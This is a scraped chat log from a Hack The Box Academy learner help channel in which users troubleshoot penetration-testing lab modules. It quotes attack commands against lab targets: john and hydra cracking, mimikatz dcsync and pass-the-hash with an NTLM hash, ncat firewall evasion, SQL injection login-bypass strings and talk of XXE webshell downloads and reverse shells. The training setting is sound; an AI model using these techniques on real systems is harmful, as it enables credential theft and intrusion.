Pretty sure that error just means the account can't use winrm

I just needed to start an elevated shell in anyway i wanted to.

i think i get it, will try

cloud urchin
# rich galleon please, i need a hint

That whole module is a direct walkthrough. That error, I think, is just saying the user isn't authorized to use WinRM.. that's it. Check the module it should walk you through it.

hello, i'm in Introduction to Active Directory,AD Administration: Guided Lab Part I. The instructions say to drill down into the directory but when i'm logged into the computer on AD, there are no folders. Am i missing something??

Module: Attacking Web Applications with Ffuf
Section: Skills Assessment - Web Fuzzing
Link to section: https://academy.hackthebox.com/module/54/section/511

I've already completed this module, however, I'm just revisiting it to go through the skills assessment. The request rate seems to be quite slow. I've been having trouble since yesterday. Is it just me? The target is publicly accessible at 94.237.57.106:50556, so if you could try the same command and let me know I'd appreciate it. Thanks!

Has anyone here embarked on the new Active Directory Pentest Path? If so, I could some help.

I'm in Active Directory BloodHound - Edges.

The instructions said to use PowerView to change Rosy's password using the Grace account.

I was able to successfully change the password, as instructed.

The instructions then said I can RDP to SRV01 using Rosy account.

I've used xfreerdp, Remmina, and rdesktop, but none of them work.

Any advice?

normal sand
#

Also, I'm facing the low request rate issue even when I specify the host header.

limber river
normal sand
# limber river you can use threads to make it faster

My mistake, I was wrong, apparently the command I'd run last night was vHost fuzzing and not Sub-domain kek

It's suddenly fast enough without having to forcefully increase the threads or request rate, must've been some network issue yesterday. Thanks!

Hi, I want purchase a subscription to learn secure code..but before that I need to confirm...is hackthebox will have the option to see the source code for each box and module?

No

#

Some modules have a source code and stuff, but you won't get the exact setup of the lab

Hey guys! I was troubleshooting with ricky earlier but things remain the same for the bruteforcing module. On the website section as well as the skill assessment 2 question there is just no way for me to ssh to the boxes. Direct connection from host machine or pwnbox wont work. Keep getting ‘Host key verification failed’

#

Tried resetting the target, used different pc, used pwnbox, set thet specified port. Nothing works.

In CPTS Password Attacks Module, Protected Archives section.

The practice question is to crack a zip file called Notes.zip
But when I run john it just quits and does nothing

glitch@debian:~/practice$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 OpenMP threads
Note: Passwords longer than 21 [worst case UTF-8] to 63 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
0g 0:00:00:00 DONE (2024-11-21 11:39) 0g/s 23513Kp/s 23513Kc/s 23513KC/s (79knock)..*7¡Vamos!
Session completed.
#

It's even a fresh install because the last one gave me some issues where john wasn't able to identify some hash types.
in this one it does identify the hash type clearly because it displays Loaded 1 password hash (PKZIP [32/64])
But why doesn't it crack it?

woeful lake
#

If you look up at the top of the page, at right you have resource boton, they give you a list of possible users and passwords

hasty mauve
#

I even wrote my own python script to crack it and used it with both lists and it did not work 😲

#

I created my own encrypted zip file and use my script on it and it worked.

#

the problem must be in the zip file itself.

woeful lake
hasty mauve
#

I'm examining my python code to make sure it works before I blame the zip lol.
It worked on my zip file but with my own wordlist which contains the password and is short.
I'm now testing it with rockyou.txt as my file as ASCII format while rockyou is UTF-8 so maybe I have to do some modifications on it.

#

I'll see if specifying the mode in john makes any difference

#

but how to do that lol? never had to specify any modes to john

#

there's no mode flag

storm elk
#

thanks @deft lily

deft lily
#

couldnt @ moderator

#

also i put in the verify command and get blocked

storm elk
#

There's a role for it to ping any mod/admin (Serious rule break)

woeful lake
#

I think they also use the fasttrack dicctionary at /usr/wordlists

#

But i dont remember exactly

left hamlet
#

Hello y'all good hackers?

hasty mauve
# woeful lake O yeah my bad, i thougt you use hashcat

I figured it out, I was opening the file with utf-8 encoding, then I was encoding it again when providing it to the zip library lol.

I don't know how it worked for my zip file but not for the provided one.
I fixed that and used the mutated list and it worked, no john needed

i have the following situation:

1- i have openVPN running with ip 10.10.14.117.
2- running a kali VM with NAT mode.
3- performed rdp connection to a windows machine.
4- created a simple python server inside Kali using python -m http-server --bind 0.0.0.0 to allow connections on all interfaces (port 8000 by default).

issue: i can ping my openVPN IP address from within the windows machine using ping 10.10.14.117. but i can't access the python simple server using 10.10.14.117:8000.

what i'm i understanding wrong about networks here?

tranquil axle
#

is there a firewall in place preventing outgoing connections to high/suspicious ports?

fervent iris
#

ah ur asking if there is a rule preventing connections

tranquil axle
#

I'm not sure in which environment you are testing but there are for example prolabs that have a firewall implemented that doesn't allow connecting to suspicious ports, so your ping may reach your host but not a connection on port 8000, but 80 would work for example

fervent iris
fervent iris
#

so i'm sure there are no fire walls or something

tranquil axle
#

hm okay, not sure why that wouldn't work then, thats a standard case that I use all the time

#

I dont use the --bind parameter (because it binds on 0.0.0.0 by default I think) but beyond that we do the same thign

fervent iris
#

to be sure, the browser is supposed to work on the labs right? because i tried to access the server via the firefox browser on the windows target

tranquil axle
#

yea that should work too, or you can try via powershell with the command I posted above

Hi guys, I have a question. A few months ago I bought the academy's $500 silver membership.

I'm afraid I won't be able to finish all the modules in time, and I don't want to buy the subscription again.

if I sign up for all the modules, without completing them. Once my subscription expires, will I be able to access those modules?

7Using Julio's hash, perform a Pass the Hash attack, launch a PowerShell console and import Invoke-TheHash to create a reverse shell to the machine you are connected via RDP (the target machine, DC01, can only connect to MS01). Use the tool nc.exe located in c:\tools to listen for the reverse shell. Once connected to the DC01, read the flag in C:\julio\flag.txt.

Hello, Im currently stuck on the Information Web Gathering Edition module for DNS Zone Transfers and when attepting to preform a zone transfer as stated in the module, i.e. "dig axfr @ns1.inlanefreight.com inlanefreight.htb" OR "dig axfr @ns1.inlanefreight.com inlanefreight.com". It returns that no servers oculd be found and the connection refused. I did try it with those servers IPs which also didn't work, tried exploring forums and doing some self reserach online and cannot seem to find a helpful step in the right way for this module

Good Morning guys, hope yall having a wonderful day i just start learning and i reach Learning Progress in the Learning process module final question is kinda piss me off cuz i answered and i said incorrect answer its about What is the difference between the two numbers of the learning progress mentioned above and i did answer it everytime said my answer is wrong

#

my answer was : The difference between the two numbers, ( 1.00 ) 365 = 1.00 (1.00) 365 =1.00 and ( 1.01 ) 365 = 37.7 (1.01) 365 =37.7, highlights the power of consistent, incremental improvement over time.

urban elk
wicked sapphire
urban elk
#

check the hint

wicked sapphire
#

it said 37.7 - 1.00

urban elk
#

which is ?

acoustic owl
wicked sapphire
urban elk
#

I can imagine you being even more pissed off that that was the question and answer, wouldn't blame you. I guess the author just needed something to give the cubes back to you, and indeed in such a module it's hard to come up with something with an exact answer

#

what did you try ?

wicked sapphire
#

Breakdown: ( 1.00 ) 365 = 1.00 (1.00) 365 =1.00: This represents no change or progress. Multiplying the same value (1.00) every day for 365 days results in no growth. ( 1.01 ) 365 = 37.7 (1.01) 365 =37.7: By improving by just 1% (0.01) each day, the cumulative effect over 365 days leads to a 37.7-fold increase. this the first one that i tried

#

the second one was this : The difference between the two numbers,
The difference between the two numbers, ( 1.00 ) 365 = 1.00 (1.00) 365 =1.00 and ( 1.01 ) 365 = 37.7 (1.01) 365 =37.7, highlights the power of consistent, incremental improvement over time.

urban elk
#

I didn't make myself clear. The answer boxes in HTB Academy will look for an exact match to the answer. So if the recorded answer is "abc" and you reply anything other than "abc", it will be marked incorrect

wicked sapphire
#

that's the thing dude, there will be a million way to answer and still as you said the answer is already recorded

acoustic owl
urban elk
#

there will be a million ways to write what you are writing above, yes. Which should be a clue towards the fact that you're overthinking this

wicked sapphire
#

the person who was responsible for this question he wasn't clear on how we can asnwer the question

urban elk
#

Lets remove context. What is the difference between 5 and 2 ?

wicked sapphire
urban elk
#

ok

wicked sapphire
#

thank you so much for the help anyway i will probably skip it for now

tranquil axle
#

"difference" is the mathematical term for the result of subtraction. so the difference between 5 and 2 is 3

Is this the right wordlist to use against the hash of Notes.zip file "/usr/share/john/password.lst"? Also how long does it take to finish?

acoustic owl
#

From which module?

chrome furnace
wicked sapphire
#

basically the answer was : 36.7

wicked sapphire
#

the problem was how you can answer the question adding only numbers not letters to the answer

acoustic owl
acoustic owl
#

For this reason, please ALWAYS specify the module name and the section. 😉

#

A tool is mentioned in the module. Use this tool to get the password you are looking for.

chrome furnace
#

As of now, its been an hour and jtr using this wordlist "/usr/share/john/password.lst" is still on the process of cracking the hash of the file.

#

Is the wordlist that I'm using the correct one?

acoustic owl
#

By the way, you will be provided with a list in this module. It will be mutated at some point. In most cases, one of these lists is the correct list. But in this case, you don't need any of the lists.

Hi, has anyone done the HtB academy windows lateral movement module. I'm stuck on the skills assessment? Thanks in advance

tried running it on ssh session against the target

#

Does anyone know what type of encryption exactly the encrypted credentials in firefox saved passwords use? I know its AES but there's a lot of AES modules for hashcat.

#

since I already have logins.json and can see that actual encrypted credentials, maybe I can just crack it using hashcat?

hi I am stuck on question 3 of pass the hash section on password attacks module. I've gotten David's login info and NTLM hash but its not letting me authenticate with him.

#

in the spoiler I posted evidence that I did in fact do this

teal sparrow
#

sudo ncat -nv --source-port 53 10.129.87.1 50000
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
libnsock mksock_bind_addr(): Bind to 0.0.0.0:53 failed (IOD #1): Address already in use (98)
Ncat: TIMEOUT.

why do i get this error firewall evasion lab nmap - hard

quasi wave
#

so that's not David's password on dc01 and the hash is clearly not the right hash

#

so I'm confused

#

because when I enter the hash in question 3 it shows it is the wrong answer

quasi wave
# analog dock What is question 3?

Connect via RDP and use Mimikatz located in c:\tools to extract the hashes presented in the current session. What is the NTLM/RC4 hash of David's account?

#

so that hash should be the right hash

#

do I need to use Invoke-TheHash?

#

because that's not working either

analog dock
#

Can you try lsadump::dcsync?

#

I believe that’s what I usually use

quasi wave
#
mimikatz # lsadump::dcsync
[DC] 'inlanefreight.htb' will be the domain
[DC] 'DC01.inlanefreight.htb' will be the DC server
ERROR kuhl_m_lsadump_dcsync ; Missing user or guid argument```
#

do I need to switch it to local?

quasi wave
#

I tried a few variations on that

quasi wave
#

ok

#
mimikatz # lsadump::dcsync /user:Administrator
[DC] 'inlanefreight.htb' will be the domain
[DC] 'DC01.inlanefreight.htb' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
ERROR kull_m_rpc_drsr_getDCBind ; RPC Exception 0x00000005 (5)```
#

does same thing

#

its weird I thought I had it

#

what am I doing wrong?

analog dock
#

I don’t have notes on this module

quasi wave
#

makes no difference

analog dock
#

Ohh wait

this worked I think hold on

Hello everyone, in the Windows Privilege Escalation Skills Assessment (Pt. 1) I’m able to get initial foothold, but am STRUUUUGGGLING to get priv esc.

ok so hydra for some reason just is not working with rdp

#

i accidentally found the correct credentials with metasploit and when i use them individually it works fine but when i use the provided username and password wordlists i watch it try the correct credentials in real time and then tell me they're not valid

loud dagger
#

hydra -L username.list -P password.list rdp://[target ip]

#

crackmapexec fails entirely for some reason and i'm about to see if medusa works

#

i'm just reading the docs because i have no idea how to actually use it yet

cloud urchin
#

hydra works for me so idk, maybe a different version

#

make sure its up to date

loud dagger
#

nope did not work

cloud urchin
#

maybe try crowbar too, great fast tool

#

make sure the password and username are actually in those lists

#

should work

loud dagger
#

i used hydra for ssh earlier in the module and it worked fine

cloud urchin
#

why does the host end in .1

#

what is the target you're attacking

loud dagger
#

10.129.62.1

cloud urchin
#

that's the spawned target ip?

loud dagger
#

yep

#

doesn't work after resetting the target either

cloud urchin
#

that ip doesn't seem right .1 is usually the gateway

#

if you included the module and section it would help immensly, all i can say is that it worked for me

loud dagger
#

password attacks - network services

#

it's clearly not an issue with the target IP because it works when i just give it the credentials

#

and i cracked the passwords for winrm, ssh, and smb just fine

cloud urchin
#

no i mean, they don't spawn ending in .1 that i've seen. that's generally a reserverd IP for the gateway for the vlan.

loud dagger
#

oh yeah i agree but i don't think that's the issue

cloud urchin
#

do you have that target spawned right now that ends in .1?

loud dagger
#

i'm currently resetting the target

cloud urchin
#

my guess is you missed the last character or something

loud dagger
#

i was copy and pasting directly from hackthebox

#

and again it worked just fine with the same ip with three other network protocols

cloud urchin
#

yeah but it's not a valid ip

loud dagger
#

i know but that doesn't explain why only hydra wasn't working on only rdp only under those specific conditions

wooden seal
wooden seal
cloud urchin
loud dagger
#

yep same here

okay good to know it's not a me issue

cloud urchin
#

i have notes showing hydra worked before, so maybe something changed with the box. might want to report in #1234357888114364508

loud dagger
#

will do

#

interestingly crowbar isn't working either but the metasploit smb_login module accidentally found the credentials for rdp

cloud urchin
#

my notes show hydra so i think i used crowbar for ssh bruting

#

what the fuck

Footprinting (SMB) How do we know it was a linux machine(refering to last question).

safe star
#

Shouldn’t take that long

loud dagger
#

as in it shouldn't be taking 8 hours or it's normal for it to say it's going to take 8 hours and then take significantly less time than that

It shouldn’t take more than an hour to get the answer

If there's no salt, it's not required

#

But it would be embedded in the hash

chrome furnace
fathom pendant
#

Why do you care about the salt?

chrome furnace
fathom pendant
#

Also it's asking for the root user, not cry0l1t3

#

How are you gonna crack a password without the salt?

chrome furnace
#

its not about the who the user is. Do I need to specify the salt in hashcat or its embedded already on the hash itself?

fathom pendant

#

alright

Also the hash wouldn't start with $

Is it due to file protection system on the target machine? Or its about the way how I transfer sensitive files?

even on ls -la the .bak file I create is blacked out

What are the new T3 defensive modules about is there a CDSA Pro cert dropping in future ?

acoustic owl
# sly kelp What are the new T3 defensive modules about is there a CDSA Pro cert dropping in...

Nothing has been announced yet. But the fact that HTB earns money with these certificates and now offers Tier III modules for Blue Teams suggests that there will also be a Blue Team Tier III certificate in the future. Tier III certificates have been published or at least announced for Web and AD. It would therefore only be logical to also have a Blue Team certificate at this level.
But as I said, nothing has been announced and is therefore pure speculation

yea, you need to use whatever your webshell is named

are you certian you got the server to download the webshell from your web server?

yea then its definetly not on that location or not downloaded at all

but the link to the shell in the payload is correct and i send it multiple times

what does your webserver say when you upload your xxe payload..
also i recommend using a arb file read xxe payload instead of a download payload at stage one, just to confirm that your xxe payload actually works.

There's a lot wrong there with your command. "xfreerdp" is the command it should start with, not the "priks" part.

After performing a zone transfer for the domain inlanefreight.htb on the target system, how many DNS records are retrieved from the target system's name server? Provide your answer as an integer, e.g, 123.
I would like to know what would be the command

the module/section didn't go over it?

so you ran the command successfully and got the results but were unable to count it? not sure what you mean here

There may be another zone to transfer to and add

One more thing is : I'm not quite sure about the command.

fathom pendant
#

dig axfr domain.tld @\nameserver/IP

astral ravine
#

I ran this command but my position was different

#

I used ip address firstly & then used the domain

#

that's why it didn't show up ig

cloud urchin
#

do it like the section shows, the nameserver comes after the @. in marcielee's example the 'domain.tld' is the target domain

What is wrong with this command? sekurlsa::pth /user:david /rc4:c39f2beb3d2ec06a62cb887fb391dee0 /domain:INLANEFREIGHT.HTB /run:cmd.exe it spawns a cmd then I check the user and it is still administrator on ms01 instead of david

chrome furnace

You should still have the rights David tho

safe star

I wont be able to list david shares while Im on ms01 and logged in as administrator right?

safe star

You are admin with David’s rights now

chrome furnace
#

Administrator and David is two different accounts

chrome furnace
safe star
#

Have you tried listing the share

chrome furnace
#
Access is denied.```
#

I am currently logged in as Administrator on MS01, I think I wont be able to list David's share if Im not connected to DC01 right?

#

is DC01 accessible externally or it can only be accessed by the MS01?

safe star
chrome furnace
#

its spawns a CMD. I check using whoami and find out the current user is still Administrator and the machine still on MS01

safe star
#

It’s still gonna say that you’re admin but you will also have David’s domain rights

chrome furnace
#

Bro. You're mixing things up.

safe star
#

They show the same example in the section with julio

#

They are still admin but can list shares

chrome furnace
#

I run the command as Administrator like I said. The command was supposed to connect to DC01 as user David.

chrome furnace
#

ill see what I can do

safe star
#

I’m still the admin user, I just have David’s rights

chrome furnace
#

can you list dir \\dc01\david ?

safe star

Go look at the julio example again

safe star

ah yes finally

./kernal_exploit3: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kernal_exploit3)
why m i getting this error while solving the LPE kernal exploit module.

#

anybody?

tranquil axle
#

the program you are trying to run is compiled in a way that it looks for the needed library (GLIBC_2.34 in this case) on the machin where it is executed. In your case the program was compiled on a machine that has GLIBC_2.34, but executed on a machine that doesn't have GLIBC_2.34 installed. You either need to compile it on the machine where you want to execute it, compile it on a machine that has the same version of GLIBC_2.34 as the target machine or compile it staticallly linked, which means the program includes all the libraries it needs (but the filesize is then ofc bigger).

#

I think in academy they expect you to build the exploit on the target machine

yes, because your host has the library and the target doesnt, either compile it on the target instead (if the target has a compiler installed) or compile it on host with the -static option on your host to include the library in the binary itself

A fully qualified domain name (FQDN), sometimes also called an absolute domain name, is a domain name that specifies its exact location in the tree hierarchy of the Domain Name System (DNS).

Then the paragraph right below this says: Take OpenSSH, for example. We see the reported version is OpenSSH 8.2p1 Ubuntu 4ubuntu0.1. From inspection of other Ubuntu SSH package changelogs, we see the release version takes the format 1:7.3p1-1ubuntu0.1. Updating our version to fit this format, we get 1:8.2p1-4ubuntu0.1. A quick search for this version online reveals that it is included in Ubuntu Linux Focal Fossa 20.04.

My question is, where does the "Ubuntu SSH package changelogs, we see the release version takes the format 1:7.3p1-1ubuntu0.1" come from?

lusty thicket
#

it comes from the ubuntu package management system]

#

blame debian for making these naming conventions so absurdly convoluted

civic steeple
# lusty thicket why didnt you just paste the paragraph below that?

this one?

However, it is worth noting that this cross-referencing technique is not entirely reliable, as it is possible to install more recent application packages on an older OS version. The script scan -sC flag causes Nmap to report the server headers http-server-header page and the page title http-title for any web page hosted on the webserver. The web page title PHP 7.4.3 - phpinfo() indicates that this is a PHPInfo file, which is often manually created to confirm that PHP has been successfully installed. The title (and PHPInfo page) also reveals the PHP version, which is worth noting if it is vulnerable.

#

i think what i'm asking is, if the nmap scan produced OpenSSH 8.2p1 Ubuntu 4ubuntu0.1, how in the world would i end up with seeing or finding release version 1:7.3p1-1ubuntu0.1 if the module didnt point it out? does that clarify my confusion?

#

or is that version of OpenSSH only found on 1:7.3p1-1ubuntu0.1?

lusty thicket
#

nmap basically just extracted the banner string from the service that is what openssh advertises as its version

civic steeple
#

ok i think, as you pointed out the naming being complicated, i confused the SSH version for the os version

lusty thicket
#

nmap does not look up or convert this version into a debian styled package format the operating system would use internally

Hey all. I'm working on the 'remote/reverse port forwarding with ssh' module and following along. When running the payload.exe from the windows host, I keep getting 'command shell session * is invalid and will be closed' from the meterpreter handler. I've tried a couple different payloads (reverse_tcp & meterpreter_reverse_tcp) instead of reverse_https with the same result. I'm assuming that since I see the attempted connection at all the reverse port forwarding is working. Anybody have any hints or tips?

Hi, I have a question regarding the SQL injection fundamentals module.
It says that the AND statement has the priority over the OR statement.

So if we face a login form with the query :

SELECT * FROM users WHERE username='' AND password =''

We should be able to inject the following way ?

Username : 'OR '1'='1
Password : whatever' OR 1=1 #

This is what I tried at first for the skills assessment module but it didn't worked so I'm wondering what did I misunderstood.

Hey! I am doing the Penetration Tester Job role path and im currently doing the "network enumeration with nmap" module, im at Firewall and IDS/IPS evasion medium lab and I just can't get the flag im supposed to, I even bought Annual silver just so I could get the step by step solution. However even with the step by step solution I can't get it to work, not even when copy and pasting the exact command, I just dont get the same result. Now I do have the answer from the solution but I would like to know why its not working, does anyone have any suggestions / explanations?
